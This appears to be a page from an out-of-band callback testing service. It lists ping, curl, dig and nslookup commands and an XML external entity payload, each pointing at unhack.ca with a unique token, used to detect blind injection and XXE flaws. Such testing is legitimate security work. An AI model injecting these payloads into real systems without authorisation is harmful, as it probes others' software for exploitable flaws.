$ ping -c1 -p 0070925c6f5e2b49f966b02315cd2a00 unhack.ca
 
$ curl http://unhack.ca/p/70925c6f5e2b49f966b02315cd2a
 
$ dig 70925c6f5e2b49f966b02315cd2a @unhack.ca
 
$ dig 70925c6f5e2b49f966b02315cd2a.ns.unhack.ca
 
C:\> nslookup 70925c6f5e2b49f966b02315cd2a unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/70925c6f5e2b49f966b02315cd2a">]>
    <foo>&xxe;</foo>
 
Waiting for ping...